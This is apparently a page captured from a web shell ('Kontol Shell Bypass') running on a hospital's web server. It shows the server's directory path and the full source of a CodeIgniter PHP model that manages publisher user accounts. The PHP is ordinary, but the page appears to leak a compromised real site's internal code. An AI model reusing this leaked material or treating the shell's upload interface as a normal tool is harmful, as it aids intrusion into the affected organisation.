ikan Uploader :
Directory : /var/www/html/shardahospital.org/shardalms/api/application/models_old/
Upload File : |
| Current File : /var/www/html/shardahospital.org/shardalms/api/application/models_old/Publisher_model.php |
<?php
class Publisher_model extends CI_Model {
function lists(){
$qs=trim_array($this->input->get());
$this->db->where("U.type", 'PUBLISHER');
if($qs['k']){
$this->db->group_start()
->like('U.name', $qs['k'])
->or_like('U.username', $qs['k'])
->or_like('U.email', $qs['k'])
->or_like('S.title', $qs['k'])
->group_end();
}
$this->db->select("U.id, U.name, U.email, U.created, U.status, S.title AS utmSource, U1.name usr")
->from("users AS U")
->join("master_utm_sources AS S", "U.pub_utm_source_id=S.id", "LEFT")
->join("users AS U1", "U.created_by=U1.id", "LEFT")
->order_by("U.name");
$rs=$this->dba->pagedRows($qs['p'], 100, 5);
return $rs;
}
function detail($id, $f="*"){
$rs=$this->db->select($f)->get_where("users", array('id'=>$id, 'type'=>'PUBLISHER'))->row_array();
if($rs){
unset($rs['password']);
$rs['lead_download']='';
if($rs['modules']==63){
$rs['lead_download']='1';
}
if(!$rs['pub_utm_source_id']){
$rs['pub_utm_source_id']='';
}
$rs['pub_contract_startdate']=get_date($rs['pub_contract_startdate']);
$rs['pub_contract_enddate']=get_date($rs['pub_contract_enddate']);
$rs['doc_url']=$rs['pub_proposal_doc']?UP_URLF.'proposal_docs/'.$rs['pub_proposal_doc']:'';
$rs['targetAssigned']=0;
if($this->db->get_where("user_targets", array('user_id'=>$id))->row()->id){
$rs['targetAssigned']=1;
}
}
return $rs;
}
function viewTargets($user_id=0){
$rs=$this->db->select("tmonth, leads_count, conversion_per, cpl")->get_where("user_targets", array('user_id'=>$user_id))->result_array();
if($rs){
$rs=group_array($rs, 'tmonth');
}
return $rs?$rs:NULL;
}
function delete($id){
$this->db->db_debug=FALSE;
return $this->db->delete("users", array('id'=>$id, 'type'=>'PUBLISHER'));
}
}
//End of file
Kontol Shell Bypass